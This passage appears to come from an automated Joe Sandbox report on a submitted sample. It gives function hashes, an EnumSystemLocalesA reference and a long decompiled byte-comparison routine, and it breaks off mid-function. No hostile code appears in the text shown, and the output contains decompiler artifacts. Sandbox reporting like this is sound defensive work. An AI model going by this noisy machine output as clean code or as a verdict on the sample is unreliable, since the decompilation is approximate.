Instruction Fuzzy Hash: F2E0C2756547029BDB308F34E849B22BBE0AB06B54FA09E1EE597C44F0D3BCA044CA08

Function 00431CA7, Relevance: 1.5, APIs: 1, Instructions: 15

APIs

EnumSystemLocalesA.KERNEL32(Function_0000490E,00000001), ref: 00431CC0

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 026ccb0dbb23a234b404e52750b7ef50a07b0e86da3012b4b66aeaec507f7eeb
Instruction ID: 046a275110c9dd1441dc0ddc602a089311deca83e18379294e84f0c5efc179e2
Opcode Fuzzy Hash: 026ccb0dbb23a234b404e52750b7ef50a07b0e86da3012b4b66aeaec507f7eeb
Instruction Fuzzy Hash: 91D0A7B1A403004FD7204F39D9887F177E0EB50B26F206C0EDCA6440D1D7F895DAC604

Function 004334C7, Relevance: .5, Instructions: 527
Crypto

C-Code - Quality: 100%

			E004334C7(signed char* _a4, signed char* _a8, signed int _a12) {
				signed int _t984;
				void* _t986;
				signed int _t988;
				void* _t989;
				void* _t991;
				void* _t993;
				void* _t994;
				void* _t996;
				void* _t998;
				void* _t1001;
				void* _t1003;
				void* _t1005;
				signed char* _t1006;
				void* _t1007;
				signed int _t1140;
				signed char* _t1144;
				signed char* _t1145;
				signed char* _t1146;
				signed char* _t1147;
				void* _t1173;
				signed int _t1174;
				void* _t1175;
				signed char* _t1176;
				signed char* _t1177;
				signed char* _t1178;
				void* _t1188;
				void* _t1190;
				void* _t1192;
				void* _t1195;
				void* _t1197;
				void* _t1199;
				void* _t1202;
				void* _t1204;
				void* _t1206;
				void* _t1209;
				void* _t1211;
				void* _t1213;
				void* _t1216;
				void* _t1218;
				void* _t1220;
				void* _t1223;
				void* _t1225;
				void* _t1227;
				void* _t1230;
				void* _t1232;
				void* _t1234;
				void* _t1237;
				void* _t1239;
				void* _t1241;

				_t1174 = _a12;
				_t984 = _t1174;
				if(_t984 == 0) {
					return 0;
				}
				_t986 = _t984 - 1;
				if(_t986 == 0) {
					_t988 =  *_a4 & 0x000000ff;
					_t1140 =  *_a8 & 0x000000ff;
					L426:
					_t989 = _t988 - _t1140;
					if(_t989 == 0) {
						L438:
						return _t989;
					}
					return (0 | _t989 > 0x00000000) + (0 | _t989 > 0x00000000) - 1;
				}
				_t991 = _t986 - 1;
				if(_t991 == 0) {
					_t1144 = _a4;
					_t1176 = _a8;
					_t993 = ( *_t1144 & 0x000000ff) - ( *_t1176 & 0x000000ff);
					if(_t993 == 0) {
						L435:
						_t988 = _t1144[1] & 0x000000ff;
						_t1140 = _t1176[1] & 0x000000ff;
						goto L426;
					}
					_t989 = (0 | _t993 > 0x00000000) + (0 | _t993 > 0x00000000) - 1;
					if(_t989 != 0) {
						goto L438;
					}
					goto L435;
				}
				_t994 = _t991 - 1;
				if(_t994 == 0) {
					_t1145 = _a4;
					_t1177 = _a8;
					_t996 = ( *_t1145 & 0x000000ff) - ( *_t1177 & 0x000000ff);
					if(_t996 == 0) {
						L430:
						_t998 = (_t1145[1] & 0x000000ff) - (_t1177[1] & 0x000000ff);
						if(_t998 == 0) {
							L432:
							_t988 = _t1145[2] & 0x000000ff;
							_t1140 = _t1177[2] & 0x000000ff;
							goto L426;
						}
						_t989 = (0 | _t998 > 0x00000000) + (0 | _t998 > 0x00000000) - 1;
						if(_t989 != 0) {
							goto L438;
						}
						goto L432;
					}
					_t989 = (0 | _t996 > 0x00000000) + (0 | _t996 > 0x00000000) - 1;
					if(_t989 != 0) {
						goto L438;
					}
					goto L430;
				}
				if(_t994 == 1) {
					_t1146 = _a4;
					_t1178 = _a8;
					_t1001 = ( *_t1146 & 0x000000ff) - ( *_t1178 & 0x000000ff);
					if(_t1001 == 0) {
						L421:
						_t1003 = (_t1146[1] & 0x000000ff) - (_t1178[1] & 0x000000ff);
						if(_t1003 == 0) {
							L423:
							_t1005 = (_t1146[2] & 0x000000ff) - (_t1178[2] & 0x000000ff);
							if(_t1005 == 0) {
								L425:
								_t988 = _t1146[3] & 0x000000ff;
								_t1140 = _t1178[3] & 0x000000ff;
								goto L426;
							}
							_t989 = (0 | _t1005 > 0x00000000) + (0 | _t1005 > 0x00000000) - 1;
							if(_t989 != 0) {
								goto L438;
							}
							goto L425;
						}
						_t989 = (0 | _t1003 > 0x00000000) + (0 | _t1003 > 0x00000000) - 1;
						if(_t989 != 0) {
							goto L438;
						}
						goto L423;
					}
					_t989 = (0 | _t1001 > 0x00000000) + (0 | _t1001 > 0x00000000) - 1;
					if(_t989 != 0) {
						goto L438;
					}
					goto L421;
				} else {
					_t1147 = _a8;
					_t1006 = _a4;
					_t1173 = 0x20;
					while(_t1174 >= _t1173) {
						if( *_t1006 ==  *_t1147) {
							_t1175 = 0;
							L16:
							if(_t1175 != 0) {
								L98:
								_t1007 = _t1175;
								L178:
								return _t1007;
							}
							if(_t1006[4] == _t1147[4]) {
								_t1175 = 0;
								L27:
								if(_t1175 != 0) {
									goto L98;
								}
								if(_t1006[8] == _t1147[8]) {
									_t1175 = 0;
									L38:
									if(_t1175 != 0) {
										goto L98;
									}
									if(_t1006[0xc] == _t1147[0xc]) {
										_t1175 = 0;
										L49:
										if(_t1175 != 0) {
											goto L98;
										}
										if(_t1006[0x10] == _t1147[0x10]) {
											_t1175 = 0;
											L60:
											if(_t1175 != 0) {
												goto L98;
											}
											if(_t1006[0x14] == _t1147[0x14]) {
												_t1175 = 0;
												L71:
												if(_t1175 != 0) {
													goto L98;
												}
												if(_t1006[0x18] == _t1147[0x18]) {
													_t1175 = 0;
													L82:
													if(_t1175 != 0) {
														goto L98;
													}
													if(_t1006[0x1c] == _t1147[0x1c]) {
														_t1175 = 0;
														L93:
														if(_t1175 != 0) {
															goto L98;
														} else {
															_t1006 =  &(_t1006[_t1173]);
															_t1147 =  &(_t1147[_t1173]);
															_t1174 = _t1174 - _t1173;
															continue;
														}
													}
													_t1188 = (_t1006[0x1c] & 0x000000ff) - (_t1147[0x1c] & 0x000000ff);
													if(_t1188 == 0) {
														L86:
														_t1190 = (_t1006[0x1d] & 0x000000ff) - (_t1147[0x1d] & 0x000000ff);
														if(_t1190 == 0) {
															L88:
															_t1192 = (_t1006[0x1e] & 0x000000ff) - (_t1147[0x1e] & 0x000000ff);
															if(_t1192 == 0) {
																L90:
																_t1175 = (_t1006[0x1f] & 0x000000ff) - (_t1147[0x1f] & 0x000000ff);
																if(_t1175 != 0) {
																	_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
																}
																goto L93;
															}
															_t1175 = (0 | _t1192 > 0x00000000) + (0 | _t1192 > 0x00000000) - 1;
															if(_t1175 != 0) {
																goto L98;
															}
															goto L90;
														}
														_t1175 = (0 | _t1190 > 0x00000000) + (0 | _t1190 > 0x00000000) - 1;
														if(_t1175 != 0) {
															goto L98;
														}
														goto L88;
													}
													_t1175 = (0 | _t1188 > 0x00000000) + (0 | _t1188 > 0x00000000) - 1;
													if(_t1175 != 0) {
														goto L98;
													}
													goto L86;
												}
												_t1195 = (_t1006[0x18] & 0x000000ff) - (_t1147[0x18] & 0x000000ff);
												if(_t1195 == 0) {
													L75:
													_t1197 = (_t1006[0x19] & 0x000000ff) - (_t1147[0x19] & 0x000000ff);
													if(_t1197 == 0) {
														L77:
														_t1199 = (_t1006[0x1a] & 0x000000ff) - (_t1147[0x1a] & 0x000000ff);
														if(_t1199 == 0) {
															L79:
															_t1175 = (_t1006[0x1b] & 0x000000ff) - (_t1147[0x1b] & 0x000000ff);
															if(_t1175 != 0) {
																_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
															}
															goto L82;
														}
														_t1175 = (0 | _t1199 > 0x00000000) + (0 | _t1199 > 0x00000000) - 1;
														if(_t1175 != 0) {
															goto L98;
														}
														goto L79;
													}
													_t1175 = (0 | _t1197 > 0x00000000) + (0 | _t1197 > 0x00000000) - 1;
													if(_t1175 != 0) {
														goto L98;
													}
													goto L77;
												}
												_t1175 = (0 | _t1195 > 0x00000000) + (0 | _t1195 > 0x00000000) - 1;
												if(_t1175 != 0) {
													goto L98;
												}
												goto L75;
											}
											_t1202 = (_t1006[0x14] & 0x000000ff) - (_t1147[0x14] & 0x000000ff);
											if(_t1202 == 0) {
												L64:
												_t1204 = (_t1006[0x15] & 0x000000ff) - (_t1147[0x15] & 0x000000ff);
												if(_t1204 == 0) {
													L66:
													_t1206 = (_t1006[0x16] & 0x000000ff) - (_t1147[0x16] & 0x000000ff);
													if(_t1206 == 0) {
														L68:
														_t1175 = (_t1006[0x17] & 0x000000ff) - (_t1147[0x17] & 0x000000ff);
														if(_t1175 != 0) {
															_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
														}
														goto L71;
													}
													_t1175 = (0 | _t1206 > 0x00000000) + (0 | _t1206 > 0x00000000) - 1;
													if(_t1175 != 0) {
														goto L98;
													}
													goto L68;
												}
												_t1175 = (0 | _t1204 > 0x00000000) + (0 | _t1204 > 0x00000000) - 1;
												if(_t1175 != 0) {
													goto L98;
												}
												goto L66;
											}
											_t1175 = (0 | _t1202 > 0x00000000) + (0 | _t1202 > 0x00000000) - 1;
											if(_t1175 != 0) {
												goto L98;
											}
											goto L64;
										}
										_t1209 = (_t1006[0x10] & 0x000000ff) - (_t1147[0x10] & 0x000000ff);
										if(_t1209 == 0) {
											L53:
											_t1211 = (_t1006[0x11] & 0x000000ff) - (_t1147[0x11] & 0x000000ff);
											if(_t1211 == 0) {
												L55:
												_t1213 = (_t1006[0x12] & 0x000000ff) - (_t1147[0x12] & 0x000000ff);
												if(_t1213 == 0) {
													L57:
													_t1175 = (_t1006[0x13] & 0x000000ff) - (_t1147[0x13] & 0x000000ff);
													if(_t1175 != 0) {
														_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
													}
													goto L60;
												}
												_t1175 = (0 | _t1213 > 0x00000000) + (0 | _t1213 > 0x00000000) - 1;
												if(_t1175 != 0) {
													goto L98;
												}
												goto L57;
											}
											_t1175 = (0 | _t1211 > 0x00000000) + (0 | _t1211 > 0x00000000) - 1;
											if(_t1175 != 0) {
												goto L98;
											}
											goto L55;
										}
										_t1175 = (0 | _t1209 > 0x00000000) + (0 | _t1209 > 0x00000000) - 1;
										if(_t1175 != 0) {
											goto L98;
										}
										goto L53;
									}
									_t1216 = (_t1006[0xc] & 0x000000ff) - (_t1147[0xc] & 0x000000ff);
									if(_t1216 == 0) {
										L42:
										_t1218 = (_t1006[0xd] & 0x000000ff) - (_t1147[0xd] & 0x000000ff);
										if(_t1218 == 0) {
											L44:
											_t1220 = (_t1006[0xe] & 0x000000ff) - (_t1147[0xe] & 0x000000ff);
											if(_t1220 == 0) {
												L46:
												_t1175 = (_t1006[0xf] & 0x000000ff) - (_t1147[0xf] & 0x000000ff);
												if(_t1175 != 0) {
													_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
												}
												goto L49;
											}
											_t1175 = (0 | _t1220 > 0x00000000) + (0 | _t1220 > 0x00000000) - 1;
											if(_t1175 != 0) {
												goto L98;
											}
											goto L46;
										}
										_t1175 = (0 | _t1218 > 0x00000000) + (0 | _t1218 > 0x00000000) - 1;
										if(_t1175 != 0) {
											goto L98;
										}
										goto L44;
									}
									_t1175 = (0 | _t1216 > 0x00000000) + (0 | _t1216 > 0x00000000) - 1;
									if(_t1175 != 0) {
										goto L98;
									}
									goto L42;
								}
								_t1223 = (_t1006[8] & 0x000000ff) - (_t1147[8] & 0x000000ff);
								if(_t1223 == 0) {
									L31:
									_t1225 = (_t1006[9] & 0x000000ff) - (_t1147[9] & 0x000000ff);
									if(_t1225 == 0) {
										L33:
										_t1227 = (_t1006[0xa] & 0x000000ff) - (_t1147[0xa] & 0x000000ff);
										if(_t1227 == 0) {
											L35:
											_t1175 = (_t1006[0xb] & 0x000000ff) - (_t1147[0xb] & 0x000000ff);
											if(_t1175 != 0) {
												_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
											}
											goto L38;
										}
										_t1175 = (0 | _t1227 > 0x00000000) + (0 | _t1227 > 0x00000000) - 1;
										if(_t1175 != 0) {
											goto L98;
										}
										goto L35;
									}
									_t1175 = (0 | _t1225 > 0x00000000) + (0 | _t1225 > 0x00000000) - 1;
									if(_t1175 != 0) {
										goto L98;
									}
									goto L33;
								}
								_t1175 = (0 | _t1223 > 0x00000000) + (0 | _t1223 > 0x00000000) - 1;
								if(_t1175 != 0) {
									goto L98;
								}
								goto L31;
							}
							_t1230 = (_t1006[4] & 0x000000ff) - (_t1147[4] & 0x000000ff);
							if(_t1230 == 0) {
								L20:
								_t1232 = (_t1006[5] & 0x000000ff) - (_t1147[5] & 0x000000ff);
								if(_t1232 == 0) {
									L22:
									_t1234 = (_t1006[6] & 0x000000ff) - (_t1147[6] & 0x000000ff);
									if(_t1234 == 0) {
										L24:
										_t1175 = (_t1006[7] & 0x000000ff) - (_t1147[7] & 0x000000ff);
										if(_t1175 != 0) {
											_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
										}
										goto L27;
									}
									_t1175 = (0 | _t1234 > 0x00000000) + (0 | _t1234 > 0x00000000) - 1;
									if(_t1175 != 0) {
										goto L98;
									}
									goto L24;
								}
								_t1175 = (0 | _t1232 > 0x00000000) + (0 | _t1232 > 0x00000000) - 1;
								if(_t1175 != 0) {
									goto L98;
								}
								goto L22;
							}
							_t1175 = (0 | _t1230 > 0x00000000) + (0 | _t1230 > 0x00000000) - 1;
							if(_t1175 != 0) {
								goto L98;
							}
							goto L20;
						}
						_t1237 = ( *_t1006 & 0x000000ff) - ( *_t1147 & 0x000000ff);
						if(_t1237 == 0) {
							L9:
							_t1239 = (_t1006[1] & 0x000000ff) - (_t1147[1] & 0x000000ff);
							if(_t1239 == 0) {
								L11:
								_t1241 = (_t1006[2] & 0x000000ff) - (_t1147[2] & 0x000000ff);
								if(_t1241 == 0) {
									L13:
									_t1175 = (_t1006[3] & 0x000000ff) - (_t1147[3] & 0x000000ff);
									if(_t1175 != 0) {
										_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
									}
									goto L16;
								}
								_t1175 = (0 | _t1241 > 0x00000000) + (0 | _t1241 > 0x00000000) - 1;
								if(_t1175 != 0) {
									goto L98;
								}
								goto L13;
							}
							_t1175 = (0 | _t1239 > 0x00000000) + (0 | _t1239 > 0x00000000) - 1;
							if(_t1175 != 0) {
								goto L98;
							}
							goto L11;
						}
						_t1175 = (0 | _t1237 > 0x00000000) + (0 | _t1237 > 0x00000000) - 1;
						if(_t1175 != 0) {
							goto L98;
						}
						goto L9;
					}
					if(_t1174 > 0x1f) {
						L177:
						_t1007 = 0;
						goto L178;
					}
					switch( *((intOrPtr*)(_t1174 * 4 +  &M00434AC7))) {
						case 0:
							goto L177;
						case 1:
							L256:
							__ecx =  *(__ecx - 1) & 0x000000ff;
							__eax =  *(__eax - 1) & 0x000000ff;
							__eax = __eax - __ecx;
							if(__eax != 0) {
								0 = 0 | __eax > 0x00000000;
								__ecx = (__eax > 0) + (__eax > 0) - 1;
								__eax = (__eax > 0) + (__eax > 0) - 1;
							}
							goto L178;
						case 2:
							L335:
							if( *(__eax - 2) ==  *(__ecx - 2)) {
								goto L177;
							}
							goto L336;
						case 3:
							L416:
							__esi =  *(__eax - 3) & 0x000000ff;
							__edx =  *(__ecx - 3) & 0x000000ff;
							__esi = ( *(__eax - 3) & 0x000000ff) - ( *(__ecx - 3) & 0x000000ff);
							if(__esi == 0) {
								L336:
								__edx =  *(__ecx - 2) & 0x000000ff;
								__esi =  *(__eax - 2) & 0x000000ff;
								__esi = ( *(__eax - 2) & 0x000000ff) - ( *(__ecx - 2) & 0x000000ff);
								if(__esi == 0) {
									goto L256;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								if(__edx != 0) {
									L418:
									__eax = __edx;
									goto L178;
								}
								goto L256;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							if(__edx == 0) {
								goto L336;
							}
							goto L418;
						case 4:
							L165:
							__edx =  *(__eax - 4);
							if( *(__eax - 4) ==  *(__ecx - 4)) {
								__eax = 0;
								L176:
								if(__eax != 0) {
									goto L178;
								}
								goto L177;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 4) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 4) & 0x000000ff);
							if(__esi == 0) {
								L168:
								__esi =  *(__eax - 3) & 0x000000ff;
								__edx =  *(__ecx - 3) & 0x000000ff;
								__esi = ( *(__eax - 3) & 0x000000ff) - ( *(__ecx - 3) & 0x000000ff);
								if(__esi == 0) {
									L170:
									__esi =  *(__eax - 2) & 0x000000ff;
									__edx =  *(__ecx - 2) & 0x000000ff;
									__esi = ( *(__eax - 2) & 0x000000ff) - ( *(__ecx - 2) & 0x000000ff);
									if(__esi == 0) {
										L173:
										__eax =  *(__eax - 1) & 0x000000ff;
										__eax = __eax - __ecx;
										if(__eax != 0) {
											0 = 0 | __eax > 0x00000000;
											__ecx = (__eax > 0) + (__eax > 0) - 1;
											__eax = (__eax > 0) + (__eax > 0) - 1;
										}
										goto L176;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									if(__edx == 0) {
										goto L173;
									}
									L172:
									__eax = __edx;
									goto L176;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								if(__edx != 0) {
									goto L172;
								}
								goto L170;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							if(__edx != 0) {
								goto L172;
							}
							goto L168;
						case 5:
							L245:
							__edx =  *(__eax - 5);
							if( *(__eax - 5) ==  *(__ecx - 5)) {
								__esi = 0;
								L255:
								if(__esi != 0) {
									goto L98;
								}
								goto L256;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 5) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 5) & 0x000000ff);
							if(__esi == 0) {
								L248:
								__esi =  *(__eax - 4) & 0x000000ff;
								__edx =  *(__ecx - 4) & 0x000000ff;
								__esi = ( *(__eax - 4) & 0x000000ff) - ( *(__ecx - 4) & 0x000000ff);
								if(__esi == 0) {
									L250:
									__esi =  *(__eax - 3) & 0x000000ff;
									__edx =  *(__ecx - 3) & 0x000000ff;
									__esi = ( *(__eax - 3) & 0x000000ff) - ( *(__ecx - 3) & 0x000000ff);
									if(__esi == 0) {
										L252:
										__esi =  *(__eax - 2) & 0x000000ff;
										__edx =  *(__ecx - 2) & 0x000000ff;
										__esi = ( *(__eax - 2) & 0x000000ff) - ( *(__ecx - 2) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L255;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L252;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L250;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L248;
						case 6:
							L324:
							__edx =  *(__eax - 6);
							if( *(__eax - 6) ==  *(__ecx - 6)) {
								__esi = 0;
								L334:
								if(__esi != 0) {
									goto L98;
								}
								goto L335;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 6) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 6) & 0x000000ff);
							if(__esi == 0) {
								L327:
								__esi =  *(__eax - 5) & 0x000000ff;
								__edx =  *(__ecx - 5) & 0x000000ff;
								__esi = ( *(__eax - 5) & 0x000000ff) - ( *(__ecx - 5) & 0x000000ff);
								if(__esi == 0) {
									L329:
									__esi =  *(__eax - 4) & 0x000000ff;
									__edx =  *(__ecx - 4) & 0x000000ff;
									__esi = ( *(__eax - 4) & 0x000000ff) - ( *(__ecx - 4) & 0x000000ff);
									if(__esi == 0) {
										L331:
										__esi =  *(__eax - 3) & 0x000000ff;
										__edx =  *(__ecx - 3) & 0x000000ff;
										__esi = ( *(__eax - 3) & 0x000000ff) - ( *(__ecx - 3) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L334;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L331;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L329;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L327;
						case 7:
							L405:
							__edx =  *(__eax - 7);
							if( *(__eax - 7) ==  *(__ecx - 7)) {
								__esi = 0;
								L415:
								if(__esi != 0) {
									goto L98;
								}
								goto L416;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 7) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 7) & 0x000000ff);
							if(__esi == 0) {
								L408:
								__esi =  *(__eax - 6) & 0x000000ff;
								__edx =  *(__ecx - 6) & 0x000000ff;
								__esi = ( *(__eax - 6) & 0x000000ff) - ( *(__ecx - 6) & 0x000000ff);
								if(__esi == 0) {
									L410:
									__esi =  *(__eax - 5) & 0x000000ff;
									__edx =  *(__ecx - 5) & 0x000000ff;
									__esi = ( *(__eax - 5) & 0x000000ff) - ( *(__ecx - 5) & 0x000000ff);
									if(__esi == 0) {
										L412:
										__esi =  *(__eax - 4) & 0x000000ff;
										__edx =  *(__ecx - 4) & 0x000000ff;
										__esi = ( *(__eax - 4) & 0x000000ff) - ( *(__ecx - 4) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L415;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L412;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L410;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L408;
						case 8:
							L154:
							__edx =  *(__eax - 8);
							if( *(__eax - 8) ==  *(__ecx - 8)) {
								__esi = 0;
								L164:
								if(__esi != 0) {
									goto L98;
								}
								goto L165;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 8) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 8) & 0x000000ff);
							if(__esi == 0) {
								L157:
								__esi =  *(__eax - 7) & 0x000000ff;
								__edx =  *(__ecx - 7) & 0x000000ff;
								__esi = ( *(__eax - 7) & 0x000000ff) - ( *(__ecx - 7) & 0x000000ff);
								if(__esi == 0) {
									L159:
									__esi =  *(__eax - 6) & 0x000000ff;
									__edx =  *(__ecx - 6) & 0x000000ff;
									__esi = ( *(__eax - 6) & 0x000000ff) - ( *(__ecx - 6) & 0x000000ff);
									if(__esi == 0) {
										L161:
										__esi =  *(__eax - 5) & 0x000000ff;
										__edx =  *(__ecx - 5) & 0x000000ff;
										__esi = ( *(__eax - 5) & 0x000000ff) - ( *(__ecx - 5) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L164;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L161;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L159;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L157;
						case 9:
							L234:
							__edx =  *(__eax - 9);
							if( *(__eax - 9) ==  *(__ecx - 9)) {
								__esi = 0;
								L244:
								if(__esi != 0) {
									goto L98;
								}
								goto L245;
							}
							__edx =  *(__ecx - 9) & 0x000000ff;
							__esi =  *(__eax - 9) & 0x000000ff;
							__esi = ( *(__eax - 9) & 0x000000ff) - ( *(__ecx - 9) & 0x000000ff);
							if(__esi == 0) {
								L237:
								__esi =  *(__eax - 8) & 0x000000ff;
								__edx =  *(__ecx - 8) & 0x000000ff;
								__esi = ( *(__eax - 8) & 0x000000ff) - ( *(__ecx - 8) & 0x000000ff);
								if(__esi == 0) {
									L239:
									__esi =  *(__eax - 7) & 0x000000ff;
									__edx =  *(__ecx - 7) & 0x000000ff;
									__esi = ( *(__eax - 7) & 0x000000ff) - ( *(__ecx - 7) & 0x000000ff);
									if(__esi == 0) {
										L241:
										__esi =  *(__eax - 6) & 0x000000ff;
										__edx =  *(__ecx - 6) & 0x000000ff;
										__esi = ( *(__eax - 6) & 0x000000ff) - ( *(__ecx - 6) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L244;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L241;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L239;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L237;
						case 0xa:
							L313:
							__edx =  *(__eax - 0xa);
							if( *(__eax - 0xa) ==  *(__ecx - 0xa)) {
								__esi = 0;
								L323:
								if(__esi != 0) {
									goto L98;
								}
								goto L324;
							}
							__edx =  *(__ecx - 0xa) & 0x000000ff;
							__esi =  *(__eax - 0xa) & 0x000000ff;
							__esi = ( *(__eax - 0xa) & 0x000000ff) - ( *(__ecx - 0xa) & 0x000000ff);
							if(__esi == 0) {
								L316:
								__edx =  *(__ecx - 9) & 0x000000ff;
								__esi =  *(__eax - 9) & 0x000000ff;
								__esi = ( *(__eax - 9) & 0x000000ff) - ( *(__ecx - 9) & 0x000000ff);
								if(__esi == 0) {
									L318:
									__edx =  *(__ecx - 8) & 0x000000ff;
									__esi =  *(__eax - 8) & 0x000000ff;
									__esi = ( *(__eax - 8) & 0x000000ff) - ( *(__ecx - 8) & 0x000000ff);
									if(__esi == 0) {
										L320:
										__edx =  *(__ecx - 7) & 0x000000ff;
										__esi =  *(__eax - 7) & 0x000000ff;
										__esi = ( *(__eax - 7) & 0x000000ff) - ( *(__ecx - 7) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L323;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L320;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L318;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L316;
						case 0xb:
							L394:
							__edx =  *(__eax - 0xb);
							if( *(__eax - 0xb) ==  *(__ecx - 0xb)) {
								__esi = 0;
								L404:
								if(__esi != 0) {
									goto L98;
								}
								goto L405;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0xb) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0xb) & 0x000000ff);
							if(__esi == 0) {
								L397:
								__esi =  *(__eax - 0xa) & 0x000000ff;
								__edx =  *(__ecx - 0xa) & 0x000000ff;
								__esi = ( *(__eax - 0xa) & 0x000000ff) - ( *(__ecx - 0xa) & 0x000000ff);
								if(__esi == 0) {
									L399:
									__esi =  *(__eax - 9) & 0x000000ff;
									__edx =  *(__ecx - 9) & 0x000000ff;
									__esi = ( *(__eax - 9) & 0x000000ff) - ( *(__ecx - 9) & 0x000000ff);
									if(__esi == 0) {
										L401:
